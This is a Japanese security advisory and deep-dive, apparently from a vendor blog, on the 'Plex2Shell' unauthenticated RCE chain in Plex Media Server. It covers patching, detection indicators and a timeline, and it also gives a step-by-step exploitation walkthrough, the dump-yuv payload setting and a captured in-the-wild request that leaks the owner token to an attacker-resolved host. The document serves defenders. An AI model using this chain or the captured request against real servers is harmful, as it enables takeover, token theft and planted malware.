当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで97.1%のスコアを記録しました。 詳細を見る

ディープダイブ

ディープダイブ

Plex2Shell：実環境で悪用されるPlexのRCE（CVE-2026-96656）

1.43.3.10861未満のPlex Media Serverでは4つの欠陥を連鎖させることで、未認証の攻撃者がPlexユーザーとしてコードを実行できます。2026年10月17日以降、実環境で悪用されています。

Ostorlab Team

要点

  • Plex2ShellはPlex Media Serverの4つの脆弱性、CVE-2026-96652、CVE-2026-96654、CVE-2026-96655、CVE-2026-96656を連鎖させる攻撃です。認証なしの1つのリクエストから始まり、Plexサービスユーザーとしてのコード実行に至ります。2026年10月16日に概念実証が公開されました。
  • 1.43.3.10861未満のすべてのPlex Media Serverビルドが影響を受けます。連鎖を発見した研究者はCVSS v3.1を9.8と評価しています。個々のCVEは単独で評価されるため、スコアは4.3～8.6です。
  • 実環境での悪用が確認されています。Plexは10月19日、インターネットに公開されたサーバーに対して欠陥が「積極的かつ広範に悪用されている」と述べ、侵害されたホストには暗号資産マイナーとプロキシソフトウェアが展開されているとしました。CISAは10月20日、連鎖を構成する4つのCVEすべてをKnown Exploited Vulnerabilitiesカタログに追加しました。
  • 今すぐ1.43.3.10861以降に更新してください。未修正の間にサーバーのポート32400がインターネットから到達可能だった場合、Plexのガイダンスは侵害された可能性を前提とし、再び信頼する前に以下の指標を調査することです。

影響を受けますか？

次の条件をすべて満たす場合、影響を受けます。

  • Windows、macOS、Linux、Docker、NASデバイス、NVIDIA ShieldのいずれかのプラットフォームでPlex Media Serverを実行している。
  • ビルドが1.43.3.10861より古い。CVEレコードはそれより前のすべてのバージョンを影響対象とし、概念実証は1.43.3.10828まで連鎖が機能するとしています。
  • Plex Remote Accessまたは手動ポート転送により、ポート32400にインターネットから到達できる。連鎖の入り口はインターネットからのリクエストであり、Plexの侵害対応ガイダンスも「更新されていないインターネット公開サーバー」を対象としています。

同じビルドで修正された5つ目の欠陥CVE-2026-96651は、/system/agents/media/get経由のパストラバーサルです。インターネットからの経路ではなく、何らかの有効なセッショントークンを必要とします。ネットワーク上の攻撃者は、そのセッションのユーザーが読めるファイルを読み取れます。これにはPlexアカウントを制御するPlexOnlineTokenも含まれます。認証不要の連鎖には含まれませんが、修正版は共通です。

DockerとNASへのインストールも含め、すべてのサーバーのバージョンを確認してください。Plex WebでSettings、Generalの順に開き、表示されたバージョンを読み取ります。ホスト自体ではidentityエンドポイントがビルドを返します。

curl -s http://localhost:32400/identity | grep -o 'version="[^"]*"'   # run on the Plex host
docker exec plex curl -s http://localhost:32400/identity               # Docker: adjust the container name
Plex Media Server 影響を受けるバージョン 修正バージョン
全プラットフォーム 1.43.3.10861未満のすべてのビルド 1.43.3.10861（2026年8月3日）

どう修復しますか？

1.43.3.10861以降に更新してください。Plex WebのSettings、Generalで自動更新を利用できます。手動インストールの場合はPlexダウンロードページから現行ビルドを取得します。Plexの2026年9月1日のセキュリティ通知では、すべてのプラットフォームの手順を説明しています。更新パッケージの提供が遅れて手動インストールが必要だったNASアプリストアや、pms-dockerのイメージ更新に従うDockerも含まれます。

その後、上記のidentity確認でビルドを検証してください。リモートアクセスが不要なら、Plexの推奨どおりSettings、Remote AccessでRemote Accessを無効にします。

まだ更新できない場合は、ファイアウォールでインターネットからポート32400へのアクセスを遮断してください。連鎖の最初のリクエストはインターネットから来るため、認証不要の連鎖を止められます。ただし限界があります。ネットワーク隣接位置と有効なセッショントークンだけを必要とするCVE-2026-96651には効果がなく、ユーザーのリモートストリーミングも使えなくなります。

サーバーがインターネットに公開され、未修正だった場合は、再公開する前に以下の侵害確認を行い、何か一致したらPlexの復旧ガイダンスを適用してください。

根本原因は何ですか？

この連鎖が成立するのは、独立した4つの弱点がそれぞれ次の段階に必要な立場を攻撃者へ渡すためです。有効性を検証しないトークン確認、何も止められない認可ガード、見かけを信頼するURLプレフィックス確認、そして見つけたものをすべて実行するコーデックローダーです。 セキュリティ研究者Zach Mainは2026年7月27日に4つすべてをPlexへ報告し、2026年10月16日にソースレベルの分析と詳細を公開しました。

CVE 弱点 CWE CVSS v3.1 CVSS v4.0
CVE-2026-96652 /player/timelineが任意のトークン値を受け入れ、生のprotocolパラメーターからコールバックURLを構築する CWE-918 4.3 5.3
CVE-2026-96654 searchOneの認可ガードが、戻り値を捨てるラッパー内でreturnし、エージェント識別子がサニタイズされず内部URLに挿入される CWE-84 6.5 6.9
CVE-2026-96655 トランスコードエンドポイントが、ホスト許可リストなしで攻撃者の選んだURLを取得する CWE-918 4.3 5.3
CVE-2026-96656 TranscoderH264Optionsがそのままx264コマンドラインに追加され、トランスコーダー起動時にCodecsディレクトリ内のすべての.soが実行される CWE-73 7.2 8.6

スコアは2026年9月23日公開のCVEレコードに基づきます。

段階1：有効性ではなく存在を確認するトークンの制御。 /player/timelineの背後にあるcompanionプロトコルのエンドポイントは、公開情報から引用した以下の方法でWANリクエストを保護します。

HttpReply CompanionProxyRequestHandler::handle(HttpRequest& req) {
    if (req.locality == Locality::WAN && !req.hasParam("X-Plex-Token")) {
        return HttpReply{401};
    }
    // hasParam() checks existence, not validity
    return CompanionProxyRequestHandler::instance().dispatch(req);
}

hasParam()が答えるのはヘッダーが存在するかどうかです。X-Plex-Token: junkでも通過します。購読しているプレイヤーが購読を解除すると、サーバーはプレイヤー指定のprotocol、host、portから組み立てたURLへコールバックPOSTを送ります。

std::string Controller::callbackUrl() const {
    return (boost::format("%1%://%2%:%3%") % protocol % host % port).str();
}

protocolをスキームとして検証する処理はありません。そのパラメーターに完全なURLを入れると、攻撃者が望む場所にサーバーのPOSTを送信でき、ループバック上のサーバー自身も対象にできます。

段階2：呼び出しを停止できない認可ガード。 /system/agents/*プラグインAPIは、ループバック由来のリクエストにはトークンなしで開かれます。そのsearchOneエンドポイントは、未登録のエージェント識別子を拒否しようとします。

@lock(self.agent_info)
def inner():
    if identifier not in Core.messaging.plugin_list():
        return  # returns from inner(), not from search_one
    # ... proceed ...

@lockデコレーターはinner()をラップし、その戻り値を破棄します。このためガードが早期returnしても、search_oneは実行を続けます。識別子はtargetに代入され、エンコードされず内部URLに挿入されます。

url = 'http://127.0.0.1:32400/:/plugins/%s/messaging/%s' % (target, key)

識別子中の?はクエリー文字列を開始し、#はその後を切り捨てます。したがって攻撃者は次のループバックリクエストのパスとクエリーを制御し、任意のプラグイン関数への呼び出しを偽造できます。

段階3：見かけを信頼するプレフィックス確認。 Pythonプラグインフレームワークは、内部向けに見える送信リクエストに所有者の管理者トークンを付加します。

if url.find('http://127.0.0.1') == 0:
    request.headers['X-Plex-Token'] = os.environ['PLEXTOKEN']

これは境界を限定しない文字列プレフィックス一致です。127.0.0.1.<attacker-ip>.sslip.ioのようなホスト名は127.0.0.1で始まるためトークンが付加されますが、sslip.io DNSサービスはその名前を攻撃者のIPに解決します。段階2では、同梱TheTVDBエージェントのURL取得関数GetResultFromNetworkへの呼び出しを偽造し、そのようなホスト名を指定します。所有者のlocal-*管理者トークンが攻撃者のリスナーへ届きます。

段階4：ファイル書き込みに変わる設定と、ディレクトリを信頼するローダー。 所有者トークンを使ってPUT /:/prefsでTranscoderH264Optionsを設定します。この文字列はトランスコードのたびにそのままx264エンコーダーのコマンドラインへ追加されます。x264のデバッグオプションdump-yuvは、呼び出し側が選んだパスへデコード済みフレームを書き込みます。qp=0にするとエンコードが可逆になるため、書き込まれるフレームは入力動画とビット単位で一致します。攻撃者は最初のフレームがELF共有オブジェクトになっている搬送用動画を公開し、/video/:/transcode/universalエンドポイント経由でトランスコードを開始します（CVE-2026-96655が許可リストのない取得を可能にします）。ELFはCodecsディレクトリに.soとして保存されます。トランスコーダー起動時、同梱のlibavutil.so.58内のavpriv_load_new_libsがそのディレクトリを列挙し、署名、実行ビット、シンボルの確認なしですべての.soファイルをdlopen()します。ELFコンストラクターしか含まない共有オブジェクトでも、ロード時にコードが実行されます。

どのように悪用されますか？

github.com/code-zm/plex2shellの概念実証は、各段階を最初から最後まで連鎖させます。脆弱なサーバーに対して実行される手順は次のとおりです。

  1. ロングポーリングのcompanionエンドポイント経由でプレイヤーを登録し、X-Plex-Token: junkを送ります。存在だけを確認するため通過します。
  2. 対象プラグインAPI呼び出しのループバックURLをprotocolパラメーターに含めて購読し、続いて購読を解除します。サーバーは本物のループバック送信元から自身へ偽造リクエストをPOSTします。
  3. 偽造されたsearchOne呼び出しは、http://127.0.0.1で始まり攻撃者に解決されるURLを指定してTheTVDBエージェントのGetResultFromNetworkに到達します。サーバーは所有者の管理者トークンを付加して送信します。
  4. PUT /:/prefsでTranscoderH264Optionsをdump-yuv=<codec-dir>/x.so:qp=0に設定します。
  5. 攻撃者が公開した搬送用動画に対するトランスコードが開始されます。x264がビット単位で一致するELFをCodecsディレクトリに書き込みます。
  6. 2回目のトランスコードが.soを列挙してロードします。そのコンストラクターはPlexサービスユーザーとして実行され、デフォルトのLinuxインストールではuid=1000(plex)です。PoCではforkとexecでリバースシェルを起動します。

研究者boredhackerblogが2026年10月17日に公開したハニーポットのZeekログには、実環境で捕捉された最初のリクエストが記録されています。ユーザーエージェントPython-urllib/3.10の単一のsubscribe URLに段階1～3が示されています。

/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471

HTTPログ中で最も見分けやすい攻撃の特徴は、トークン漏えい先のsslip.ioホストとidentifier=com.plexapp.agents.thetvdb/function/GetResultFromNetworkパスの2つです。

攻撃はどのように進行しますか？

流れは直線的です。無意味な値でトークン確認を通過し、サーバー自身のループバックAPIへリクエストさせ、所有者トークンを漏えいさせるプラグイン呼び出しを偽造し、トランスコーダー設定を悪用してELFペイロードを書き込み、コーデックローダーに実行させます。

flowchart LR A["攻撃者が送信
X-Plex-Token: junk"] --> B["/player/timelineが存在のみを確認
確認を通過"] B --> C["生のprotocolパラメーターから
コールバックURLを構築"] C --> D["サーバーが自身のループバック
/system/agents APIへPOST"] D --> E["searchOneガードがラッパー内でreturn
戻り値は破棄され、ガードは機能せず"] E --> F["http://127.0.0.1で始まるURLへの
プラグイン呼び出しを偽造"] F --> G["所有者の管理者トークンを付加し
攻撃者へ送信"] G --> H["dump-yuv設定と搬送用動画の
トランスコードでELF .soを書き込む"] H --> I["次のトランスコードが.soをdlopen
plexユーザーとしてコード実行"]

攻撃者は何ができますか？

  • Plexサービスユーザーとして任意コードを実行し、暗号資産マイナー、プロキシウェア、バックドアなど、そのアカウントが実行できるものをインストールできます。観測された攻撃では、XMRigマイナーと住宅用プロキシのバックドアが両方展開されました。
  • Plexアカウントを乗っ取れます。盗んだ所有者トークンとCVE-2026-96651経由でアクセスできるPlexOnlineTokenは、ライブラリ、設定、サインイン済みデバイスなど、アカウントとサーバーを制御します。
  • ホストの帯域幅と住宅用IPを悪用できます。「myawesomeproxy」バックドアは、被害者のインターネット接続を通じて他人のトラフィックを中継します。家庭用接続を収益化する侵害パターンです。
  • サービスアカウントがアクセス可能なものに到達できます。マウントされたメディア共有、同じマシンやVMに保存された別の認証情報、plexユーザーが読み取れる周辺のものが含まれます。

攻撃者に必要な条件は、認証不要の連鎖ではインターネットからポート32400へのネットワーク到達性、そしてトークン漏えいとメディア取得のためにサーバーから接続できる攻撃者ホストです。認証もユーザー操作も、デフォルト以外の設定も不要です。PoCにはWindows用ペイロードも含まれます。CVE-2026-96651単独なら、ネットワーク隣接位置と何らかの有効なセッショントークンだけで足ります。

なぜ修正が有効なのですか？

Plex Media Serverはクローズドソースであるため、引用できる公開パッチ差分はありません。1.43.3.10861のリリースノートは2つの修正を挙げており、入り口とペイロード書き込みの段階で連鎖を断ち切ります。

  • 「（セキュリティ）CompanionProxyの潜在的な脆弱性に対応。（PM-5763）」は、CVE-2026-96652の背後にある段階1のエンドポイントを対象とします。
  • 「（セキュリティ）TranscoderH264OptionsおよびTranscoderH264OptionsOverride設定をネットワーク経由で変更できなくしました。（PM-5766）」は、段階4の書き込み手段を除去します。所有者トークンを持つ攻撃者でもAPI経由でトランスコーダー設定を変更できなくなるため、dump-yuvによるファイル書き込みを仕込めません。

残りの段階も同じビルドで修正されました。Plexの10月19日の通知はCVE-2026-96652、CVE-2026-96654、CVE-2026-96655、CVE-2026-96656を1.43.3リリースに対応付け、1.43.3.10861以降は影響を受けないとしています。PoCリポジトリも、このバージョンで連鎖が修正されたと明記しています。連鎖には4つすべての段階が必要なので、いずれか1つを閉じれば認証不要の経路が止まります。このリリースは複数を閉じています。

ベンダーの声明によれば、この連鎖に対する修正は完全です。ただし注意点が1つあります。署名や実行ビットを確認せずにディレクトリから.soファイルを実行するコード読み込みのパターンは残り、ほかに書き込む手段がない限りにおいてのみ安全です。今後Plexのデータディレクトリへの書き込み手段が見つかったら、そうでないと証明されるまでコード実行として扱ってください。

侵害されたかどうかを確認するには？

Plexの10月19日の通知は明確です。サーバーが1.43.3.10861より古く、インターネットから到達可能だったなら、侵害された可能性を前提にしてください。そのチェックリストと、悪用分析で公開された指標は次のとおりです。

  • Plex Media Serverから起動された見覚えのないプロセス。特にmyawesomeproxy、mylovelyminer、x12345という名前。
  • Plex Codecsフォルダーにある見慣れない.soまたは.dllファイル。
  • proxystream.stへの外向き接続、または何も再生していない間の持続的な高CPU使用率。
  • protocolパラメーターに完全なURLを含む/player/timeline/subscribeリクエスト、identifier=com.plexapp.agents.thetvdb/function/GetResultFromNetworkへのリクエスト、または127.0.0.1.*に解決されるsslip.io配下のホスト名を含むHTTPログ。シグネチャ作成用の捕捉pcapはgithub.com/BoredHackerBlog/plex2shell_pcapに公開されています。
  • 観測された攻撃インフラ91.92.40.202、176.65.139.228、45.194.92.222との送受信接続、および217.60.194.116からのペイロードダウンロード。
  • ハニーポットで捕捉されたファイルのSHA-256ハッシュ：5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441（docker）、68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7（x、UPX圧縮済み）、b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49（x、展開済み）、e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9（myawesomeproxy）、2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db（xmrig）。

PoCリポジトリには、標準インストールパス全体で配置されたコーデックの痕跡、ペイロードバイナリ、サーバーログを確認する、検証済みYARAルールと読み取り専用の調査スクリプトが含まれています。

git clone https://github.com/code-zm/plex2shell
cd plex2shell/detection
sudo ./hunt/plex2shell-hunt.sh                       # auto-discovers Linux, snap and Docker installs
yara -r -w yara/plex2shell.yar "/var/lib/plexmediaserver/Library/Application Support/Plex Media Server"

何か一致した場合、または侵害を否定できない場合のPlexの復旧ガイダンスは次のとおりです。古いデータディレクトリを再利用せず、クリーンなインストールからサーバーを再構築します。Codecsフォルダー内をすべて削除し、Preferences.xmlに自分が設定していないトランスコーダーオプションがないか確認します。Plexアカウント設定ですべてのデバイスからサインアウトし、Plexパスワードを変更します。マウントされた共有や保存済み認証情報など、サービスアカウントがアクセスできたものはすべて漏えいした可能性があるものとして扱います。

タイムライン

  • 2026-07-27：Zach MainがPlexのセキュリティプログラムに連鎖を報告。
  • 2026-08-03：前述の2つのセキュリティ修正を含むPlex Media Server 1.43.3.10861がBetaチャネルにリリース。
  • 2026-08-04：Plexが報告を認め、報奨金を支払い。
  • 2026-09-01：Plexが「Important Security Update for Plex Media Server v1.43.2 and earlier」を公開し、すべてのサーバー所有者に更新を要請。
  • 2026-09-23：CVE-2026-96651、-96652、-96654、-96655、-96656が公開。
  • 2026-10-16：完全な分析と概念実証を公開。
  • 2026-10-17：公開の1日後、45.194.92.222からの実環境での最初の悪用をハニーポットで観測。
  • 2026-10-19：Plexが積極的かつ広範な悪用を確認し、CVE一覧と侵害対応ガイダンスを公開。
  • 2026-10-20：CISAが連鎖の4つのCVEをKnown Exploited Vulnerabilitiesカタログに追加。対応期限はCVE-2026-96654とCVE-2026-96656が2026-10-23、CVE-2026-96652とCVE-2026-96655が2026-11-03。
  • 2026-10-25：本記事を公開。

よくある質問

ポート転送を設定していなくてもサーバーは公開されていましたか？

デフォルトで有効なRemote Accessは、手動のポート転送がなくてもNAT越えによってポート32400をインターネットから到達可能にすることがあります。Settings、Remote Accessで「Fully accessible outside your network」と表示されていたか確認し、アクセス可能かつ未修正だったサーバーはすべて危険にさらされていたものとして扱ってください。

連鎖の評価が9.8なのに、CVEスコアが低く見えるのはなぜですか？

各CVEは単独で評価され、連鎖自体で突破できる段階にも必要権限の指標が付いています。CVE-2026-96656は管理者権限を前提とするためCVSS v3.1で7.2ですが、連鎖はその役割を未認証の攻撃者に与えます。研究者は連鎖全体をCVSS v3.1 9.8と評価しており、CISA KEVへの登録は個々のCVEスコアではなく、実際に成立する悪用可能性を反映しています。

1.43.3.10828または1.43.2系列なら保護されますか？

いいえ。PoCは1.43.3.10828まで連鎖が機能するとし、CVEレコードでは1.43.3.10861未満のすべてのビルドが影響範囲に入ります。安全なのは1.43.3.10861以降だけです。Plexの9月1日の通知が「1.43.2以前」と記した意味も、現行の1.43.3ビルドへ更新することです。

配置されたマルウェアは実際に何をしますか？

2つの動作が観測されました。mylovelyminerという名前のXMRig暗号資産マイナープロセスは、ota.proxystream[.]stサーバーに向けてマイニングします。このドメインは2026年8月にBitsightがAISURUプロキシウェアボットネットと関連付けたものです。myawesomeproxyというバックドアはサーバーを他人のトラフィック向けのリバースプロキシに変え、次のように告知します。「お使いのデバイスでこのソフトウェアを実行することにより、インターネットトラフィックが外部で使用される可能性に同意したものとみなされます。」

PlexをDockerまたはNASで実行しています。修正方法は異なりますか？

修正ビルドは同じ1.43.3.10861です。Dockerインストールは現行のpms-dockerイメージを取得して更新します。Plexの9月1日のプラットフォーム別ガイドによれば、NASではアプリストアの提供が遅れたため、手動でパッケージをインストールする必要があるケースが多くありました。侵害確認でのYARAスキャン対象は、Dockerでは設定ボリューム、各プラットフォームではベンダーのアプリケーションサポートディレクトリです。

一致するものがなければ、パッチだけで十分ですか？

パッチは連鎖と、それが配置するマルウェアを止めます。盗まれた所有者トークンや持ち出されたPlexOnlineTokenはサーバー修正後も有効なため、不審な活動を見たユーザーは依然としてすべてのデバイスをサインアウトさせ、Plexパスワードを変更する必要があります。過去の露出が不明な場合は、異常のないプロセス一覧を信頼せず、再構築ガイダンスに従ってください。

攻撃者より先に未修正のPlexサーバーを見つける

Ostorlabでインターネット公開資産をスキャンし、保有環境内で1.43.3.10861未満のビルドをまだ報告しているすべてのPlex Media Serverを、周囲の公開サービスやメディアアプリケーションとあわせて可視化してください。

参考資料

  • Zach Mainの公開記事「Plex2Shell: Unauthenticated RCE in Plex Media Server」、2026年10月16日。段階ごとのソース分析と公開タイムラインを含む：https://zmain.info/blog/plex2shell （2026年10月25日確認）
  • 概念実証と検出ルール（YARA、調査スクリプト、フィクスチャ）：https://github.com/code-zm/plex2shell （2026年10月25日確認）
  • boredhackerblog「Plex vulnerabilities being exploited in the wild to drop a cryptominer」、2026年10月17日。捕捉された攻撃URI、IP、ファイルハッシュを含む：https://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html （2026年10月25日確認）
  • 捕捉された悪用pcap：https://github.com/BoredHackerBlog/plex2shell_pcap （2026年10月25日確認）
  • Plexセキュリティ通知「Important Security Update for Plex Media Server v1.43.2 and earlier」、2026年9月1日。2026年10月19日にCVE一覧、進行中の悪用に関する声明、侵害チェックリストを追加：https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319 （2026年10月25日確認）
  • Plex Media Server 1.43.3.10861リリースノート、2026年8月3日。CompanionProxy修正（PM-5763）とTranscoderH264Optionsのネットワーク変更修正（PM-5766）を記載：https://forums.plex.tv/t/plex-media-server/30447/712 （2026年10月25日確認）
  • CVE-2026-96652レコード（CVSS v3.1 4.3、v4.0 5.3）：https://cveawg.mitre.org/api/cve/CVE-2026-96652 （2026年10月25日確認）
  • CVE-2026-96654レコード（CVSS v3.1 6.5、v4.0 6.9）：https://cveawg.mitre.org/api/cve/CVE-2026-96654 （2026年10月25日確認）
  • CVE-2026-96655レコード（CVSS v3.1 4.3、v4.0 5.3）：https://cveawg.mitre.org/api/cve/CVE-2026-96655 （2026年10月25日確認）
  • CVE-2026-96656レコード（CVSS v3.1 7.2、v4.0 8.6）：https://cveawg.mitre.org/api/cve/CVE-2026-96656 （2026年10月25日確認）
  • 併せて修正されたパストラバーサル、CVE-2026-96651レコード（CVSS v3.1 6.5、v4.0 7.1）：https://cveawg.mitre.org/api/cve/CVE-2026-96651 （2026年10月25日確認）
  • CISA Known Exploited Vulnerabilitiesカタログ。連鎖の4つのCVEを2026年10月20日に追加：https://www.cisa.gov/known-exploited-vulnerabilities-catalog （2026年10月25日確認）
  • 5つのCVEの説明とCVSS v3.1ベクトルを含むCISAアドバイザリVA-26-266-01：https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json （2026年10月25日確認）
  • The Hacker News「Hackers Exploit Plex2Shell Flaws to Install Crypto Miners and Linux Proxy Backdoor」、2026年10月19日：https://thehackernews.com/2026/10/hackers-exploit-plex2shell-flaws-to.html （2026年10月25日確認）
  • proxystream.stインフラとAISURUボットネットに関するBitsightの記事：https://www.bitsight.com/blog/who-invited-aisuru-lan-party （2026年10月25日確認）
  • 侵害されたインスタンスについてのユーザー報告を含むRedditスレッド：https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/ （2026年10月25日確認）

タグ：

security, CVE, Plex, remote code execution, vulnerability